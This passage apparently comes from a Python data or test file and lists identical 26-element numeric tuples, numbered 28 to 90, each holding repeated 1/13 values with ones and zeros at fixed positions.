(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 28
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 29
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 30
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 31
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 32
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 33
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 34
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 35
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 36
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 37
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 38
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 39
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 40
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 41
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 42
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 43
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 44
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 45
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 46
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 47
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 48
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 49
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 50
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 51
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 52
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 53
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 54
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 55
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 56
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 57
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 58
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 59
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 60
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 61
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 62
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 63
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 64
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 65
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 66
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 67
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 68
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 69
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 70
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 71
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 72
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 73
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 74
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 75
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 76
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 77
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 78
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 79
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 80
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 81
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 82
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 83
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 84
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 85
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 86
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 87
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 88
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 89
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 90
